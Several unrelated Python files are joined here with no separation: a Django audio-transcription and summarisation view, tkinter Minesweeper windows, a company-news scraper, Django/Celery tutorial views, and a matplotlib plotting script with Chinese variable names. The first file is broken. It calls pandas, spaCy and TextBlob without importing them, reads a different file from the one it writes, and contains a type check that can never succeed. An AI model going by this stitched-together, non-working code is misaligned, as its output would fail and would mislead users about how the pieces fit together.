from audio.forms import StudentForm

import csv

from pydub import AudioSegment
import speech_recognition as sr

from django.shortcuts import render
from django.http import HttpResponse

import os, shutil

def audioProcessor():

    #####################################################################################
    #To convert given audio input to texts
    def audio_to_txt():

        meetingSound = os.listdir("audio/static/upload/")

        # Input audio file to be sliced
        audio = AudioSegment.from_wav("audio/static/upload/"+str(meetingSound[0]))

        '''
        Step #1 - Slicing the audio file into smaller chunks.
        '''
        # Length of the audiofile in milliseconds
        n = len(audio)
        print(n)

        # Variable to count the number of sliced chunks of audio
        counter = 1

        # Text file to write the recognized audio
        fh = open("audio/Text_Output/recognized1.txt", "w+")

        # Interval length at which to slice the audio file.
        # If length is 22 seconds, and interval is 5 seconds,
        # The chunks created will be:
        # chunk1 : 0 - 5 seconds
        # chunk2 : 5 - 10 seconds
        # chunk3 : 10 - 15 seconds
        # chunk4 : 15 - 20 seconds
        # chunk5 : 20 - 22 seconds
        interval = 5 * 1000

        # Length of audio to overlap.
        # If length is 22 seconds, and interval is 5 seconds,
        # With overlap as 1.5 seconds,
        # The chunks created will be:
        # chunk1 : 0 - 5 seconds
        # chunk2 : 3.5 - 8.5 seconds
        # chunk3 : 7 - 12 seconds
        # chunk4 : 10.5 - 15.5 seconds
        # chunk5 : 14 - 19.5 seconds
        # chunk6 : 18 - 22 seconds
        overlap = 500

        # Initialize start and end seconds to 0
        start = 0
        end = 0

        # Flag to keep track of end of file.
        # When audio reaches its end, flag is set to 1 and we break
        flag = 0

        # Iterate from 0 to end of the file,
        # with increment = interval
        for i in range(0, 2 * n, interval):

            # During first iteration,
            # start is 0, end is the interval
            if i == 0:
                start = 0
                end = interval

            # All other iterations,
            # start is the previous end - overlap
            # end becomes end + interval
            else:
                start = end - overlap
                end = start + interval

            # When end becomes greater than the file length,
            # end is set to the file length
            # flag is set to 1 to indicate break.
            print(end)
            if end >= n:
                end = n
                flag = 1

            # Storing audio file from the defined start to end
            chunk = audio[start:end]

            # Filename / Path to store the sliced audio
            filename = 'chunk'+str(counter)+'.wav'

            # Store the sliced audio file to the defined path
            chunk.export(filename, format ="wav")
            # Print information about the current chunk
            print("Processing chunk "+str(counter)+". Start = "
                                +str(start)+" end = "+str(end))

            # Increment counter for the next chunk
            counter = counter + 1

            # Slicing of the audio file is done.
            # Skip the below steps if there is some other usage
            # for the sliced audio files.

            # '''
            # Step #2 - Recognizing the chunk and writing to a file.
            # '''

            # Here, Google Speech Recognition is used
            # to take each chunk and recognize the text in it.

            # Specify the audio file to recognize

            AUDIO_FILE = filename

            # Initialize the recognizer
            r = sr.Recognizer()

            # Traverse the audio file and listen to the audio
            with sr.AudioFile(AUDIO_FILE) as source:
                audio_listened = r.listen(source)

            # Try to recognize the listened audio
            # And catch expections.
            try:
                print("Check")
                rec = r.recognize_google(audio_listened)
                print(rec)

                # If recognized, write into the file.
                fh.write(rec+". ")

            # If google could not understand the audio
            except sr.UnknownValueError:
                print("Could not understand audio")

            # If the results cannot be requested from Google.
            # Probably an internet connection error.
            except sr.RequestError as e:
                print("Could not request results.")

            # Check for flag.
            # If flag is 1, end of the whole audio reached.
            # Close the file and break.
            print("****")
            if flag == 1:
                print("****")
                fh.close()
                break
    ###############################################################################
    # To Generate the Summary out of the meeting
    def tsvFile():
        audio_to_txt()
        df = pd.read_csv("audio/Text_Output/recognized.txt")
        df.to_csv('audio/Text_Output/out.tsv')

    def summerization(meeting_text):
        extra_words=list(STOP_WORDS)+list(punctuation)+['\n']
        nlp = spacy.load("en_core_web_sm")
        cleaned_text = nlp(meeting_text)
        all_words=[word.text for word in cleaned_text]

        Freq_word={}
        for w in all_words:
            w1=w.lower()
            if w1 not in extra_words and w1.isalpha():
                if w1 in Freq_word.keys():
                    Freq_word[w1]+=1
                else:
                    Freq_word[w1]=1

        Title = []
        val=sorted(Freq_word.values())
        max_freq=val[-3:]
        print("Topic of document given :-")
        for word,freq in Freq_word.items():

            if freq in max_freq:
                Title.append(word)
                print(word ,end=" ")

            else:
                continue
        meeting_title = " ".join(Title)
        print(meeting_title)
        print("\n\n")

        for word in Freq_word.keys():
            Freq_word[word] = (Freq_word[word]/max_freq[-1])
        sent_strength={}
        for sent in cleaned_text.sents:
            for word in sent :

                if word.text.lower() in Freq_word.keys():

                    if sent in sent_strength.keys():
                        sent_strength[sent]+=Freq_word[word.text.lower()]
                    else:

                        sent_strength[sent]=Freq_word[word.text.lower()]

                else:
                    continue
        top_sentences=(sorted(sent_strength.values())[::-1])

        top30percent_sentence=int(0.3*len(top_sentences))

        top_sent=top_sentences[:top30percent_sentence]

        summary=[]
        for sent,strength in sent_strength.items():
            if strength in top_sent:
                summary.append(sent)
            else:
                continue

        Summary = []
        for i in summary:
            Summary.append(i)
            print(i,end=" ")
        # meeting_summary = " ".join(Summary)
        meeting_summary = []
        for i in range(len(Summary)):
            meeting_summary.append(str(Summary[i]))
        meeting_summary = " ".join(meeting_summary)
        print(meeting_summary)

        return meeting_title, meeting_summary

    def textSummary():
        meeting = []
        tsvFile()
        with open('audio/Text_Output/out.tsv') as tsvfile:
            reader = csv.reader(tsvfile, delimiter='\t')
            n = 0
            for row in reader:
                n += 1
                meeting.append(" ".join(row))
                if n == 100:
                    break
        Title, Summary = summerization(" ".join(meeting))
        return Title, Summary

    Title, Summary = textSummary()
    ##########################################################################
    # Polarity to check if the meeting was a positive, negative or neutral discussion.
    def Polarity():
        with open('audio/Text_Output/out.tsv') as tsvfile:
            reader = csv.reader(tsvfile, delimiter='\t')
            for row in reader:
                pass

        polaSum = 0

        zen = TextBlob(row[0])
        # print(zen.words)
        totalSentences = len(zen.sentences)
        for i in range(totalSentences):
            print(type(zen.sentences[i]))
            testimonial = TextBlob(str(zen.sentences[i]))
            polarity = testimonial.sentiment.polarity
            print(polarity)
            polaSum += polarity
        print(f"The Polarity of the meeting is: {polaSum/totalSentences}")

        return polaSum/totalSentences

    Polarity = Polarity()
    ##########################################################################################
    # For Displaying the Word Highlights
    def wordProcessing(words):
        cleanWords = []

        smallWords = []

        for i in range(len(words)):
            smallWords.append(words[i].lower())

        noRepetition = list(set(smallWords))

        for i in range(len(noRepetition)):
            try:
                if type(int(noRepetition[i])) == "<class 'int'>":
                    continue
            except:
                cleanWords.append(noRepetition[i])

        return cleanWords

    def talkedWords():

        words = []

        with open('audio/Text_Output/out.tsv') as tsvfile:
            reader = csv.reader(tsvfile, delimiter='\t')
            for row in reader:
                pass

        nlp = spacy.load("en_core_web_sm")
        doc = nlp(row[0])

        for ent in doc.ents:
            words.append(ent.text)

        words = wordProcessing(words)

        return words

    wordHighlights = talkedWords()

    def delete_audios():
        folder = 'audio/static/upload/'
        for filename in os.listdir(folder):
            file_path = os.path.join(folder, filename)
            try:
                if os.path.isfile(file_path) or os.path.islink(file_path):
                    os.unlink(file_path)
                elif os.path.isdir(file_path):
                    shutil.rmtree(file_path)
            except Exception as e:
                print('Failed to delete %s. Reason: %s' % (file_path, e))

    delete_audios()

    return (Title, Summary, Polarity, wordHighlights)

def index(request):
    if request.method == 'POST':
        student = StudentForm(request.POST, request.FILES)
        if student.is_valid():
            handle_uploaded_file(request.FILES['file'])
            Title, Summary, Polarity, wordHighlights = audioProcessor()
            return render(request,"home.html",{"title": Title, "summary": Summary, "polarity": Polarity, "word_highlights": wordHighlights})
            # return  HttpResponse("File uploaded successfuly")
    else:
        student = StudentForm()
        return render(request,"index.html",{'form':student})


"""
Module with the class implementations for each of the displays
"""

import logging
import random
from tkinter import (Tk, Button, Label, Checkbutton, BooleanVar, PhotoImage,
                     Toplevel, Entry, StringVar)
from minesweeper_details import LEVEL_INFO, DISPLAY_OFFSET

# Randomly chooses which bob-omb icon should be used for the displays
if random.choice([True, False]):
    ICON_PATH = 'images/bob-omb.ico'
else:
    ICON_PATH = 'images/bob-omb_red.ico'

class LevelChoiceDisplay():
    """Class for the display used to select a level and whether to play a game
    or view the leaderboard"""
    def __init__(self):
        """Initializes a LevelChoiceDisplay object"""
        # Display and widgets
        self.root = None
        self._checkbox_play = None
        self._checkbox_view = None
        # User choice variables
        self.level = None
        self.play_game = None
        self.view_leaderboard = None
        self._check_var_play = None
        self._check_var_view = None
        # Initialization methods
        self._create_display_geometry()
        self._add_widgets()

    def _create_display_geometry(self):
        """Creates the overall display"""
        self.root = Tk()
        self.root.resizable(False, False)
        self.root.title('Level Choice')
        self.root.iconbitmap(ICON_PATH)
        display_width = 300
        display_height = 165
        screen_width = self.root.winfo_screenwidth()
        screen_height = self.root.winfo_screenheight()
        display_x_pos = screen_width/2 - display_width/2
        display_y_pos = screen_height*0.45 - display_height/2
        self.root.geometry(f'{display_width}x{display_height}'
                           f'+{display_x_pos}+{display_y_pos}')

    def _add_widgets(self):
        """Adds the widgets to the display"""
        # Text label
        choose_label = Label(self.root,
                             text='Choose a level',
                             font='Arial 14')
        choose_label.place(x=80, y=10, width=140, height=30)
        # Level choice buttons
        easy_button = Button(self.root,
                             text='Easy',
                             background='green4',
                             activebackground='dark green',
                             foreground='white',
                             activeforeground='white',
                             font='Arial 12',
                             cursor='hand2',
                             command=lambda: self._set_level('easy'))
        easy_button.place(x=15, y=50, width=80, height=40)
        easy_button.bind('<Enter>',
                         lambda event,
                                arg1=easy_button,
                                arg2='dark green':
                         update_button_color(arg1, arg2))
        easy_button.bind('<Leave>',
                         lambda event,
                                arg1=easy_button,
                                arg2='green4':
                         update_button_color(arg1, arg2))
        medium_button = Button(self.root,
                               text='Medium',
                               background='blue',
                               activebackground='medium blue',
                               foreground='white',
                               activeforeground='white',
                               font='Arial 12',
                               cursor='hand2',
                               command=lambda: self._set_level('medium'))
        medium_button.place(x=110, y=50, width=80, height=40)
        medium_button.bind('<Enter>',
                           lambda event,
                                  arg1=medium_button,
                                  arg2='medium blue':
                           update_button_color(arg1, arg2))
        medium_button.bind('<Leave>',
                           lambda event,
                                  arg1=medium_button,
                                  arg2='blue':
                           update_button_color(arg1, arg2))
        hard_button = Button(self.root,
                             text='Hard',
                             background='red',
                             activebackground='red3',
                             foreground='white',
                             activeforeground='white',
                             font='Arial 12',
                             cursor='hand2',
                             command=lambda: self._set_level('hard'))
        hard_button.place(x=205, y=50, width=80, height=40)
        hard_button.bind('<Enter>',
                         lambda event,
                                arg1=hard_button,
                                arg2='red3':
                         update_button_color(arg1, arg2))
        hard_button.bind('<Leave>',
                         lambda event,
                                arg1=hard_button,
                                arg2='red':
                         update_button_color(arg1, arg2))

        # Create the checkboxes
        self._check_var_play = BooleanVar()
        self._check_var_view = BooleanVar()
        self._checkbox_play = Checkbutton(self.root,
                                          text='Play Game',
                                          font='Arial 11',
                                          variable=self._check_var_play,
                                          command=self._update_view_check)
        self._checkbox_play.place(x=50, y=100, width=200, height=25)
        self._checkbox_view = Checkbutton(self.root,
                                          text='View Leaderboard',
                                          font='Arial 11',
                                          variable=self._check_var_view,
                                          command=self._update_play_check)
        self._checkbox_view.place(x=50, y=130, width=200, height=25)
        self._checkbox_play.select()

    def _set_level(self, chosen_level):
        """Sets the game level and closes the level choice display

        Args:
            chosen_level (str): The difficulty level chosen by the user
        """
        self.level = chosen_level
        self.play_game = self._check_var_play.get()
        self.view_leaderboard = self._check_var_view.get()
        if self.play_game:
            logging.info(f'The user chose to play a game at level: '
                         f'{self.level}')
        else:
            logging.info(f'The user chose to view the leaderboard for level: '
                         f'{self.level}')
        self.root.destroy()

    def _update_view_check(self):
        """Removes the check for view leaderboard if play game was selected"""
        if self._check_var_play.get():
            self._checkbox_view.deselect()

    def _update_play_check(self):
        """Removes the check for play game if view leaderboard was selected"""
        if self._check_var_view.get():
            self._checkbox_play.deselect()

class BoardDisplay():
    """Class for the minesweeper board display"""
    def __init__(self, level):
        """Initializes a BoardDisplay object

        Args:
            level (str): The difficulty level of the game
        """
        # Display and widgets
        self.root = None
        self._miley_button = None
        self._mine_count_label = None
        self._timer_label = None
        # Variables
        self._display_width = None
        # Initialization methods
        self._create_display_geometry(level)
        self._add_widgets()

    def _create_display_geometry(self, level):
        """Creates the overall display"""
        self.root = Tk()
        self.root.resizable(False, False)
        self.root.title('Minesweeper')
        self.root.iconbitmap(ICON_PATH)
        self._display_width = LEVEL_INFO[level]['display_width']
        display_height = LEVEL_INFO[level]['display_height'] + DISPLAY_OFFSET
        screen_width = self.root.winfo_screenwidth()
        screen_height = self.root.winfo_screenheight()
        display_x_pos = screen_width/2 - self._display_width/2
        display_y_pos = screen_height*0.45 - display_height/2
        self.root.geometry(f'{self._display_width}x{display_height}'
                           f'+{display_x_pos}+{display_y_pos}')

        # Load images
        # Need to define the file paths separately for tkinter
        cool_emoji_path = 'images/cool_emoji.gif'
        dead_emoji_path = 'images/dead_emoji.gif'
        scared_emoji_path = 'images/scared_emoji.gif'
        smiley_emoji_path = 'images/smiley_emoji.gif'
        self.root.cool_emoji = PhotoImage(file=cool_emoji_path)
        self.root.dead_emoji = PhotoImage(file=dead_emoji_path)
        self.root.scared_emoji = PhotoImage(file=scared_emoji_path)
        self.root.smiley_emoji = PhotoImage(file=smiley_emoji_path)

    def _add_widgets(self):
        """Adds widgets to the display"""
        # Create the header label
        header_label = Label(self.root,
                             background='gray70',
                             relief='raised')
        header_label.place(x=0,
                           y=0,
                           height=DISPLAY_OFFSET,
                           width=self._display_width)

        # Create the mines count label
        self._mine_count_label = Label(self.root,
                                       background='gray22',
                                       foreground='red')
        self._mine_count_label.configure(font=('stencil', 28))
        self._mine_count_label.place(x=10,
                                     y=5,
                                     width=90,
                                     height=40)

        # Create the smiley button
        self.smiley_button = Button(self.root,
                                    background='white',
                                    cursor='hand2')
        self.smiley_button.place(x=self._display_width/2 - 40/2,
                                 y=5,
                                 width=40,
                                 height=40)

        # Create the timer label
        self._timer_label = Label(self.root,
                                  background='gray22',
                                  foreground='red',
                                  font='Stencil 28')
        self._timer_label.place(x=self._display_width - 100,
                                y=5,
                                width=90,
                                height=40)

    def update_smiley_button(self, smiley_type):
        """Updates the smiley button in the header

        Args:
            smiley_type (str): Type of smiley to update the button to
        """
        if smiley_type == 'smiley':
            self.smiley_button.configure(image=self.root.smiley_emoji)
        elif smiley_type == 'scared':
            self.smiley_button.configure(image=self.root.scared_emoji)
        elif smiley_type == 'cool':
            self.smiley_button.configure(image=self.root.cool_emoji)
        elif smiley_type == 'dead':
            self.smiley_button.configure(image=self.root.dead_emoji)

    def update_timer(self, time):
        """Updates the timer text

        Args:
            time (int): Time to update the label to
        """
        self._timer_label.configure(text=time)

    def update_mine_count(self, mine_count):
        """Updates the mine count label text

        Args:
            mine_count (int): Mine count to update the label to
        """
        self._mine_count_label.configure(text=mine_count)

class TimesDisplay():
    """Class for the minesweeper top times display"""
    header_height = 50
    footer_height = 50
    entry_height = 40
    window_bg_color = 'gray98'
    light_gray = 'gray90'
    dark_gray = 'gray80'

    def __init__(self, *, get_input, num_entries):
        """Initializes a TimesDisplay object

        Args:
            get_input (bool): If user input is needed
            num_entries (int): Number of entries for the list
        """
        # Display and widgets
        self.root = None
        self.user_entry = None
        self.enter_button = None
        # Variables
        self._get_input = get_input
        self._display_width = 400
        self._display_height = None
        self.input_var = None
        # Initialization methods
        self._determine_height(num_entries)
        self._create_display_geometry()
        self._add_widgets()

    def _determine_height(self, num_entries):
        """Determines the height of the display based on the number of entries
        and if user input is required

        Args:
            num_entries (int): Number of entries for the list
        """
        self._display_height = (num_entries * self.entry_height +
                                self.header_height)
        if self._get_input:
            self._display_height += self.footer_height
            if num_entries < 10:
                self._display_height += self.entry_height

    def _create_display_geometry(self):
        """Creates the overall display"""
        if self._get_input:
            self.root = Toplevel()
        else:
            self.root = Tk()
        self.root.resizable(False, False)
        self.root.title('Top Times')
        self.root.iconbitmap(ICON_PATH)
        screen_width = self.root.winfo_screenwidth()
        screen_height = self.root.winfo_screenheight()
        display_x_pos = screen_width/2 - self._display_width/2
        display_y_pos = screen_height*0.45 - self._display_height/2
        self.root.geometry(f'{self._display_width}x{self._display_height}'
                           f'+{display_x_pos}+{display_y_pos}')

    def _add_widgets(self):
        """Adds widgets to the display"""
        # Create the background and header
        header_background = Label(self.root,
                                  background=self.window_bg_color,
                                  relief='raised')
        header_background.place(x=0, y=0,
                                width=self._display_width,
                                height=self.header_height)
        if self._get_input:
            footer_background = Label(self.root,
                                      background=self.window_bg_color,
                                      relief='raised')
            footer_background.place(x=0,
                                    y=self._display_height - self.footer_height,
                                    width=self._display_width,
                                    height=self.footer_height)
        rank_label = Label(self.root,
                           text='Rank',
                           background=self.window_bg_color,
                           foreground='black',
                           font='Arial 14 bold')
        rank_label.place(x=30, y=5, width=60, height=40)
        username_label = Label(self.root,
                               text='User',
                               background=self.window_bg_color,
                               foreground='black',
                               font='Arial 14 bold')
        username_label.place(x=140, y=5, width=120, height=40)
        time_label = Label(self.root,
                           text='Time',
                           background=self.window_bg_color,
                           foreground='black',
                           font='Arial 14 bold')
        time_label.place(x=300, y=5, width=80, height=40)

    def add_entry(self, *, rank, time, username, user_input):
        """Adds a time to the display

        Args:
            rank (int): Rank of the new entry
            time (int): Time of the new entry
            username (str): Username for the new entry
            user_input (bool): The entry should be created with an Entry widget
                for the user to add their username
        """
        color = self._determine_color(rank)
        y_pos = (rank - 1) * self.entry_height + self.header_height
        # Color separation label
        entry_label = Label(self.root, background=color, relief='raised')
        entry_label.place(x=0, y=y_pos,
                          width=self._display_width,
                          height=self.entry_height)
        y_pos += 5  # Add 5 so that the entry label's edges are clean
        self._add_rank(y_pos, color, rank)
        self._add_time(y_pos, color, time)
        if user_input:
            self._create_username_entry(y_pos)
        else:
            self._add_username(y_pos, color, username)

    def _add_rank(self, y_pos, color, rank):
        """Adds the rank number

        Args:
            y_pos (int): Y position for the rank label
            color (str): Color of the label
            rank (int): Rank of the entry
        """
        entry_rank = Label(self.root,
                           text=rank,
                           background=color,
                           font='Arial 12')
        entry_rank.place(x=50, y=y_pos, width=20, height=30)

    def _add_time(self, y_pos, color, time):
        """Adds the time

        Args:
            y_pos (int): Y position for the time label
            color (str): Color of the label
            time (int): Time for the entry
        """
        entry_time = Label(self.root,
                           text=time,
                           background=color,
                           font='Arial 12')
        entry_time.place(x=320, y=y_pos, width=40, height=30)

    def _add_username(self, y_pos, color, username):
        """Adds the username

        Args:
            y_pos (int): Y position for the username label
            color (str): Color of the label
            username (str): Username for the label
        """
        entry_username = Label(self.root,
                               text=username,
                               background=color,
                               font='Arial 12')
        entry_username.place(x=100, y=y_pos, width=200, height=30)

    def _create_username_entry(self, y_pos):
        """Creates the username entry widget

        Args:
            y_pos (int): Y position for the entry widget
        """
        self.input_var = StringVar()
        self.user_entry = Entry(self.root,
                                textvariable=self.input_var,
                                justify='center',
                                font='Arial 12')
        self.user_entry.place(x=100, y=y_pos, width=200, height=30)

    def create_enter_button(self):
        """Creates the enter button"""
        self.enter_button = Button(self.root,
                                   text='Enter Username',
                                   background=self.window_bg_color,
                                   activebackground=self.window_bg_color,
                                   cursor='hand2',
                                   font='Arial 14')
        self.enter_button.place(x=100,
                                y=self._display_height-43,
                                width=200,
                                height=36)
        self.enter_button.bind('<Enter>',
                               lambda event,
                                      arg1=self.enter_button,
                                      arg2='gray94':
                               update_button_color(arg1, arg2))
        self.enter_button.bind('<Leave>',
                               lambda event,
                                      arg1=self.enter_button,
                                      arg2='gray98':
                               update_button_color(arg1, arg2))

    def _determine_color(self, num):
        """Returns a shade of gray for the top times display based on whether
        the passed number is odd or even

        Args:
            num (int): Number to check
        Returns:
            str: The correct shade of gray
        """
        if num % 2 == 0:
            return self.light_gray
        return self.dark_gray

def update_button_color(button, color):
    """Updates the passed button's color

    Args:
        button: Tkinter button object
        color (str): Color to set the button background
    """
    button.configure(background=color, activebackground=color)


from helper import Helper
from crawler import crawler
from bs4 import BeautifulSoup
from DbOps import DbOperations
import re
import hashlib

class xinyiglass(object):
    def __init__(self,url,body=None):
        self.url = url
        self.body = body
    def crawler_news(self):
        loop = True
        page = 7
        while loop:
            response = crawler.MakeRequest(self.url.format(page=page),'Get',postData=self.body)
            soup = BeautifulSoup(response.content, 'html.parser')
            bulk_obj = DbOperations.Get_object_for_bulkop(False,'xinyiglass_news')
            news_list = soup.find('div',{'class':'NewsList'})
            if news_list:
                news_data = news_list.find_all('li')
                if news_data:
                    for news in news_data:
                        news_dict = Helper.get_news_dict()

                        title_data = news.find('div',{'class':'title'})
                        title = title_data.text if title_data else ""

                        url_data = news.find('a', {'href': True})
                        url = "https://www.xinyiglass.com/"+str(url_data['href']) if url_data else ''

                        regex = re.compile(r'[\n\r\t]')
                        description_data = news.find('div',{'class':'info'})
                        description = regex.sub("", description_data.text) if description_data else ''

                        date = news.find('span')
                        year_month = news.find('em')
                        publish_date = Helper.parse_date((year_month.text)+"-"+str(date.text)) if date and year_month else ''

                        news_dict.update(
                            {"title": title, "news_title_uid": hashlib.md5(title.encode()).hexdigest(),
                             "url": url, "link": url, "news_url_uid": hashlib.md5(url.encode()).hexdigest(),
                             "description": description.strip(), "text": description.strip(),
                             "publishedAt": publish_date, 'date': publish_date, "publishedAt_scrapped": publish_date,
                             "company_id": "xinyiglass", "ticker": "xinyiglass_scrapped", "industry_name": "xinyiglass",
                             "news_provider": "xinyiglass" })

                        bulk_obj.insert(news_dict)

                        if len(bulk_obj._BulkOperationBuilder__bulk.__dict__['ops']) >100:
                            bulk_obj.execute()
                            bulk_obj = DbOperations.Get_object_for_bulkop(False,'xinyiglass_news')

                    if len(bulk_obj._BulkOperationBuilder__bulk.__dict__['ops']) > 0:
                        bulk_obj.execute()

                    page += 1
                else:
                    print("News Not Found")
                    loop = False
            else:
                print("News Not Found")
                loop = False

url = "https://www.xinyiglass.com/en/companynews/list.aspx?page={page}"
news_obj = xinyiglass(url)
news_obj.crawler_news()


import random
from random import choice
from string import ascii_lowercase, digits
import logging
import json
import time

from django.contrib.auth.models import User
from django.db import transaction

from django.shortcuts import render
from django.http import HttpResponse, HttpResponseServerError, JsonResponse, HttpResponseRedirect
from django.views.decorators.csrf import csrf_exempt
from polls.tasks import task_process_notification, task_subscribe, task_send_welcome_email, \
    task_transaction_test, task_add_subscribe, task_sync_user
from polls.forms import SubscribeForm

import requests

logger = logging.getLogger(__name__)

def random_username():
    username = ''.join([choice(ascii_lowercase) for i in range(5)])
    return username

@csrf_exempt
def webhook_test(request):
    if random.choice([0, 1]):
        # mimic the error
        raise Exception()

    # this would block the I/O
    requests.post('https://httpbin.org/delay/5')
    return HttpResponse('pong')

@csrf_exempt
def webhook_test2(request):
    """
    Use celery worker to handle the notification
    """
    task = task_process_notification.delay()
    logger.info(task.id)
    return HttpResponse('pong')

def subscribe_user(email):
    # code here can let us test what happen if the api call fail
    if random.choice([0, 1]):
        raise Exception('random processing error')

    # here we call 3-party api to subscribe our user
    requests.post('https://httpbin.org/delay/5')

def subscribe(request):
    if request.method == 'POST':
        form = SubscribeForm(request.POST)
        if form.is_valid():
            subscribe_user(form.cleaned_data['email'])
            return HttpResponse('thanks')
    else:
        form = SubscribeForm()

    return render(request, 'subscribe.html', {'form': form})

def subscribe2(request):
    if request.is_ajax() and request.method == "POST":
        raw_json = json.dumps(request.POST)
        task = task_subscribe.delay(raw_json)

        # return task_id so the js can poll the state
        return JsonResponse({
            'task_id': task.task_id,
        })
    else:
        form = SubscribeForm()
        return render(request, 'subscribe2.html', {'form': form})

def task_status(request):
    from celery.result import AsyncResult

    task_id = request.GET.get('task_id')
    if task_id:
        task = AsyncResult(task_id)
        if task.state == 'FAILURE':
            error = str(task.result)
            response = {
                'state': task.state,
                'error': error,
            }
        else:
            response = {
                'state': task.state,
            }
        return JsonResponse(response)

def transaction_test(request):
    with transaction.atomic():
        user = User.objects.create_user('john1', 'lennon@thebeatles.com', 'johnpassword')
        logger.info('create user {instance.pk}'.format(instance=user))
        raise Exception('force transaction to rollback')

@transaction.atomic
def transaction_test2(request):
    user = User.objects.create_user('john2', 'lennon@thebeatles.com', 'johnpassword')
    logger.info('create user {instance.pk}'.format(instance=user))
    raise Exception('force transaction to rollback')

@transaction.atomic
def transaction_celery(request):
    """
    Why you get DoesNotExist error in Celery worker
    """
    username = random_username()
    user = User.objects.create_user(username, 'lennon@thebeatles.com', 'johnpassword')
    logger.info('create user {instance.pk}'.format(instance=user))
    task_send_welcome_email.delay(user.pk)

    time.sleep(1)
    return HttpResponse('test')

@transaction.atomic
def transaction_celery2(request):
    """
    Solve DoesNotExist error in Celery worker
    """
    username = random_username()
    user = User.objects.create_user(username, 'lennon@thebeatles.com', 'johnpassword')
    logger.info('create user {instance.pk}'.format(instance=user))
    # we register callback functions and they would be call after transaction commit
    transaction.on_commit(lambda: task_send_welcome_email.delay(user.pk))
    transaction.on_commit(lambda: task_sync_user.delay(user.pk))

    time.sleep(1)
    return HttpResponse('test')

@transaction.atomic
def transaction_celery3(request):
    """
    How to use DB transaction in Celery task
    """
    transaction.on_commit(lambda: task_transaction_test.delay())

    return HttpResponse('test')

@transaction.atomic
def subscribe3(request):
    """
    This Django view save user email to db and send task to Celery worker
    to subscribe
    """
    if request.method == 'POST':
        form = SubscribeForm(request.POST)
        if form.is_valid():
            instance, flag = User.objects.get_or_create(
                username=form.cleaned_data['name'],
                email=form.cleaned_data['email'],
            )
            transaction.on_commit(
                lambda: task_add_subscribe.delay(instance.pk)
            )
            return HttpResponseRedirect('')
    else:
        form = SubscribeForm()

    return render(request, 'subscribe.html', {'form': form})


import json
import matplotlib.pyplot as plt
import matplotlib
from matplotlib.patches import Ellipse
import numpy as np

font = {'size':18}
matplotlib.rc('font', **font)

are_4 = []
are_6 = []
are_8 = []
are_10 = []
are_12 = []
are_14 = []
f1score_4 = []
f1score_6 = []
f1score_8 = []
f1score_10 = []
f1score_12 = []
f1score_14 = []

阈值 = "100"

def 提取(gamma, 数据包数, 平均相对误差, f1score):
	文件名 = ".".join(["ehf", "gamma", str(gamma), "npkts", str(数据包数), "caida.130000.json"])
	with open(文件名, "r") as f:
		数据 = json.load(f)
	平均相对误差.append(数据["are"][阈值])
	f1score.append(数据["f1score"][阈值])
	return 平均相对误差, f1score

if __name__ == "__main__":
	for 数据包数 in range(5, 26, 2):
		数据包数 = 数据包数*(10**6)
		are_4, f1score_4 = 提取(4, 数据包数, are_4, f1score_4)
		are_6, f1score_6 = 提取(6, 数据包数, are_6, f1score_6)
		are_8, f1score_8 = 提取(8, 数据包数, are_8, f1score_8)
		are_10, f1score_10 = 提取(10, 数据包数, are_10, f1score_10)
		are_12, f1score_12 = 提取(12, 数据包数, are_12, f1score_12)
		are_14, f1score_14 = 提取(14, 数据包数, are_14, f1score_14)
	print("are_14:")
	for 项 in are_14:
		print("%.3f" % 项)
	print("f1score_14:")
	for 项 in f1score_14:
		print("%.3f" % 项)

	数据包数 = range(5, 26, 2)
	plt.figure(1)
	plt.ylim(0, 0.5)
	plt.plot(数据包数, are_4, label=r"$\gamma=4$", marker = "x", mfc="none")
	plt.plot(数据包数, are_6, label=r"$\gamma=6$", marker = "s", mfc="none")
	plt.plot(数据包数, are_8, label=r"$\gamma=8$", marker = "o", mfc="none")
	plt.plot(数据包数, are_10, label=r"$\gamma=10$", marker = "1", mfc="none")
	plt.plot(数据包数, are_12, label=r"$\gamma=12$", marker = "p", mfc="none")
	plt.plot(数据包数, are_14, label=r"$\gamma=14$", marker = "d", mfc="none")
	plt.legend(loc = 1, ncol=2)
	plt.xlabel(r"Num. of Packets($\times 10^6$)")
	plt.ylabel("ARE")
	plt.savefig("are.pdf", bbox_inches="tight")
	plt.savefig("are.png", bbox_inches="tight")

	plt.figure(2)
	plt.ylim(0.5, 1.0)
	plt.plot(数据包数, f1score_4, label=r"$\gamma=4$", marker = "x", mfc="none")
	plt.plot(数据包数, f1score_6, label=r"$\gamma=6$", marker = "s", mfc="none")
	plt.plot(数据包数, f1score_8, label=r"$\gamma=8$", marker = "o", mfc="none")
	plt.plot(数据包数, f1score_10, label=r"$\gamma=10$", marker = "1", mfc="none")
	plt.plot(数据包数, f1score_12, label=r"$\gamma=12$", marker = "p", mfc="none")
	plt.plot(数据包数, f1score_14, label=r"$\gamma=14$", marker = "d", mfc="none")
	plt.legend(loc = 4, ncol=2)
	plt.xlabel(r"Num. of Packets($\times 10^6$)")
	plt.ylabel("F1 Score")
	plt.savefig("f1score.pdf", bbox_inches="tight")
	plt.savefig("f1score.png", bbox_inches="tight")